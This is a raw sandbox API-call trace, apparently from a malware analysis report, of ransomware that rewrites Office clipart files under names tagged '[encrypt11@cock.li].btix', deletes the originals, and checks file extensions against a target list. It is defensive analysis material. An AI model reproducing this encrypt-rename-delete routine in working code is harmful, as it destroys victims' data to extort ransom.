lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0xec, lpOverlapped=0x0) returned 1 [0155.308] SetEndOfFile (hFile=0x35c) returned 1 [0155.308] CloseHandle (hObject=0x35c) returned 1 [0155.309] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0155.309] SetEndOfFile (hFile=0x390) returned 1 [0155.309] CloseHandle (hObject=0x390) returned 1 [0155.309] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152628.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0155.310] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152628.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152628.wmf")) returned 1 [0155.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152628.WMF") returned 68 [0155.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152628.WMF") returned 68 [0155.310] lstrlenW (lpString=".doc") returned 4 [0155.310] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0155.310] lstrlenW (lpString=".docx") returned 5 [0155.310] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0155.310] lstrlenW (lpString=".pdf") returned 4 [0155.310] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0155.310] lstrlenW (lpString=".xls") returned 4 [0155.310] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0155.310] lstrlenW (lpString=".xlsx") returned 5 [0155.310] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0155.310] lstrlenW (lpString=".ppt") returned 4 [0155.310] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0155.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152628.WMF") returned 68 [0155.310] lstrlenW (lpString=".zip") returned 4 [0155.310] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0155.311] lstrlenW (lpString=".rar") returned 4 [0155.311] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0155.311] lstrlenW (lpString=".bz2") returned 4 [0155.311] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0155.311] lstrlenW (lpString=".7z") returned 3 [0155.311] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0155.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152628.WMF") returned 68 [0155.311] lstrlenW (lpString=".dbf") returned 4 [0155.311] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0155.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152628.WMF") returned 68 [0155.311] lstrlenW (lpString=".1cd") returned 4 [0155.311] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0155.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152628.WMF") returned 68 [0155.311] lstrlenW (lpString=".jpg") returned 4 [0155.311] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0155.312] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0155.312] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0155.312] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152694.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152694.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0155.315] GetLastError () returned 0x0 [0155.315] ReadFile (in: hFile=0x390, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x544, lpOverlapped=0x0) returned 1 [0155.331] WriteFile (in: hFile=0x35c, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0x550, lpOverlapped=0x0) returned 1 [0155.332] ReadFile (in: hFile=0x390, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x0, lpOverlapped=0x0) returned 1 [0155.332] WriteFile (in: hFile=0x35c, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0xec, lpOverlapped=0x0) returned 1 [0155.332] SetEndOfFile (hFile=0x35c) returned 1 [0155.335] CloseHandle (hObject=0x35c) returned 1 [0155.335] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0155.335] SetEndOfFile (hFile=0x390) returned 1 [0155.337] CloseHandle (hObject=0x390) returned 1 [0155.337] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152694.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0155.337] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152694.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152694.wmf")) returned 1 [0155.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152694.WMF") returned 68 [0155.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152694.WMF") returned 68 [0155.338] lstrlenW (lpString=".doc") returned 4 [0155.338] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0155.338] lstrlenW (lpString=".docx") returned 5 [0155.338] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0155.338] lstrlenW (lpString=".pdf") returned 4 [0155.338] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0155.338] lstrlenW (lpString=".xls") returned 4 [0155.338] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0155.338] lstrlenW (lpString=".xlsx") returned 5 [0155.338] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0155.339] lstrlenW (lpString=".ppt") returned 4 [0155.339] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0155.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152694.WMF") returned 68 [0155.339] lstrlenW (lpString=".zip") returned 4 [0155.339] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0155.339] lstrlenW (lpString=".rar") returned 4 [0155.339] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0155.339] lstrlenW (lpString=".bz2") returned 4 [0155.339] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0155.339] lstrlenW (lpString=".7z") returned 3 [0155.339] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0155.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152694.WMF") returned 68 [0155.339] lstrlenW (lpString=".dbf") returned 4 [0155.339] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0155.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152694.WMF") returned 68 [0155.339] lstrlenW (lpString=".1cd") returned 4 [0155.339] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0155.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152694.WMF") returned 68 [0155.339] lstrlenW (lpString=".jpg") returned 4 [0155.339] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0155.341] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0155.341] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0155.341] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152704.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152704.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0155.342] GetLastError () returned 0x0 [0155.342] ReadFile (in: hFile=0x348, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x674, lpOverlapped=0x0) returned 1 [0155.353] WriteFile (in: hFile=0x36c, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0x680, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0x680, lpOverlapped=0x0) returned 1 [0155.354] ReadFile (in: hFile=0x348, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x0, lpOverlapped=0x0) returned 1 [0155.354] WriteFile (in: hFile=0x36c, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0xec, lpOverlapped=0x0) returned 1 [0155.354] SetEndOfFile (hFile=0x36c) returned 1 [0155.354] CloseHandle (hObject=0x36c) returned 1 [0155.354] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0155.354] SetEndOfFile (hFile=0x348) returned 1 [0155.355] CloseHandle (hObject=0x348) returned 1 [0155.355] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152704.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0155.355] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152704.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152704.wmf")) returned 1 [0155.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152704.WMF") returned 68 [0155.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152704.WMF") returned 68 [0155.357] lstrlenW (lpString=".doc") returned 4 [0155.357] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0155.357] lstrlenW (lpString=".docx") returned 5 [0155.357] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0155.357] lstrlenW (lpString=".pdf") returned 4 [0155.357] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0155.357] lstrlenW (lpString=".xls") returned 4 [0155.357] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0155.357] lstrlenW (lpString=".xlsx") returned 5 [0155.358] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0155.358] lstrlenW (lpString=".ppt") returned 4 [0155.358] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0155.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152704.WMF") returned 68 [0155.358] lstrlenW (lpString=".zip") returned 4 [0155.358] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0155.358] lstrlenW (lpString=".rar") returned 4 [0155.358] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0155.358] lstrlenW (lpString=".bz2") returned 4 [0155.358] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0155.358] lstrlenW (lpString=".7z") returned 3 [0155.358] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0155.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152704.WMF") returned 68 [0155.358] lstrlenW (lpString=".dbf") returned 4 [0155.358] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0155.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152704.WMF") returned 68 [0155.358] lstrlenW (lpString=".1cd") returned 4 [0155.358] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0155.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152704.WMF") returned 68 [0155.358] lstrlenW (lpString=".jpg") returned 4 [0155.358] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0155.362] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0155.362] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0155.362] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152722.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152722.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0155.364] GetLastError () returned 0x0 [0155.364] ReadFile (in: hFile=0x37c, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x1b6c, lpOverlapped=0x0) returned 1 [0155.368] WriteFile (in: hFile=0x36c, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0x1b70, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0x1b70, lpOverlapped=0x0) returned 1 [0155.369] ReadFile (in: hFile=0x37c, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x0, lpOverlapped=0x0) returned 1 [0155.369] WriteFile (in: hFile=0x36c, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0xec, lpOverlapped=0x0) returned 1 [0155.369] SetEndOfFile (hFile=0x36c) returned 1 [0155.369] CloseHandle (hObject=0x36c) returned 1 [0155.369] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0155.369] SetEndOfFile (hFile=0x37c) returned 1 [0155.370] CloseHandle (hObject=0x37c) returned 1 [0155.370] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152722.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0155.370] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152722.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152722.wmf")) returned 1 [0155.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152722.WMF") returned 68 [0155.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152722.WMF") returned 68 [0155.371] lstrlenW (lpString=".doc") returned 4 [0155.371] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0155.371] lstrlenW (lpString=".docx") returned 5 [0155.371] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0155.371] lstrlenW (lpString=".pdf") returned 4 [0155.371] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0155.371] lstrlenW (lpString=".xls") returned 4 [0155.371] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0155.371] lstrlenW (lpString=".xlsx") returned 5 [0155.371] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0155.371] lstrlenW (lpString=".ppt") returned 4 [0155.371] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0155.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152722.WMF") returned 68 [0155.371] lstrlenW (lpString=".zip") returned 4 [0155.371] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0155.371] lstrlenW (lpString=".rar") returned 4 [0155.371] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0155.371] lstrlenW (lpString=".bz2") returned 4 [0155.371] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0155.371] lstrlenW (lpString=".7z") returned 3 [0155.371] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0155.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152722.WMF") returned 68 [0155.371] lstrlenW (lpString=".dbf") returned 4 [0155.371] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0155.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152722.WMF") returned 68 [0155.371] lstrlenW (lpString=".1cd") returned 4 [0155.371] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0155.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152722.WMF") returned 68 [0155.371] lstrlenW (lpString=".jpg") returned 4 [0155.371] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0155.378] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0155.378] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0155.378] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152878.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152878.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0155.380] GetLastError () returned 0x0 [0155.380] ReadFile (in: hFile=0x390, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x3a28, lpOverlapped=0x0) returned 1 [0155.382] WriteFile (in: hFile=0x35c, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0x3a30, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0x3a30, lpOverlapped=0x0) returned 1 [0155.383] ReadFile (in: hFile=0x390, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x0, lpOverlapped=0x0) returned 1 [0155.383] WriteFile (in: hFile=0x35c, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0xec, lpOverlapped=0x0) returned 1 [0155.383] SetEndOfFile (hFile=0x35c) returned 1 [0155.385] CloseHandle (hObject=0x35c) returned 1 [0155.387] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0155.387] SetEndOfFile (hFile=0x390) returned 1 [0155.392] CloseHandle (hObject=0x390) returned 1 [0155.395] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152878.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0155.395] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152878.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152878.wmf")) returned 1 [0155.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152878.WMF") returned 68 [0155.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152878.WMF") returned 68 [0155.396] lstrlenW (lpString=".doc") returned 4 [0155.396] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0155.396] lstrlenW (lpString=".docx") returned 5 [0155.396] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0155.396] lstrlenW (lpString=".pdf") returned 4 [0155.396] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0155.396] lstrlenW (lpString=".xls") returned 4 [0155.396] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0155.396] lstrlenW (lpString=".xlsx") returned 5 [0155.396] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0155.396] lstrlenW (lpString=".ppt") returned 4 [0155.396] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0155.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152878.WMF") returned 68 [0155.396] lstrlenW (lpString=".zip") returned 4 [0155.396] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0155.396] lstrlenW (lpString=".rar") returned 4 [0155.396] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0155.396] lstrlenW (lpString=".bz2") returned 4 [0155.396] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0155.396] lstrlenW (lpString=".7z") returned 3 [0155.396] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0155.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152878.WMF") returned 68 [0155.397] lstrlenW (lpString=".dbf") returned 4 [0155.397] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0155.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152878.WMF") returned 68 [0155.397] lstrlenW (lpString=".1cd") returned 4 [0155.397] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0155.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152878.WMF") returned 68 [0155.397] lstrlenW (lpString=".jpg") returned 4 [0155.397] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0155.400] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0155.400] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0155.400] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152892.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152892.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0155.402] GetLastError () returned 0x0 [0155.402] ReadFile (in: hFile=0x348, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x29ac, lpOverlapped=0x0) returned 1 [0155.405] WriteFile (in: hFile=0x35c, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0x29b0, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0x29b0, lpOverlapped=0x0) returned 1 [0155.406] ReadFile (in: hFile=0x348, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x0, lpOverlapped=0x0) returned 1 [0155.406] WriteFile (in: hFile=0x35c, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0xec, lpOverlapped=0x0) returned 1 [0155.406] SetEndOfFile (hFile=0x35c) returned 1 [0155.411] CloseHandle (hObject=0x35c) returned 1 [0155.413] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0155.413] SetEndOfFile (hFile=0x348) returned 1 [0155.422] CloseHandle (hObject=0x348) returned 1 [0155.423] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152892.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0155.423] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152892.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152892.wmf")) returned 1 [0155.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152892.WMF") returned 68 [0155.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152892.WMF") returned 68 [0155.424] lstrlenW (lpString=".doc") returned 4 [0155.424] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0155.424] lstrlenW (lpString=".docx") returned 5 [0155.424] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0155.424] lstrlenW (lpString=".pdf") returned 4 [0155.424] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0155.424] lstrlenW (lpString=".xls") returned 4 [0155.424] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0155.424] lstrlenW (lpString=".xlsx") returned 5 [0155.424] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0155.424] lstrlenW (lpString=".ppt") returned 4 [0155.424] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0155.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152892.WMF") returned 68 [0155.424] lstrlenW (lpString=".zip") returned 4 [0155.424] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0155.424] lstrlenW (lpString=".rar") returned 4 [0155.425] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0155.425] 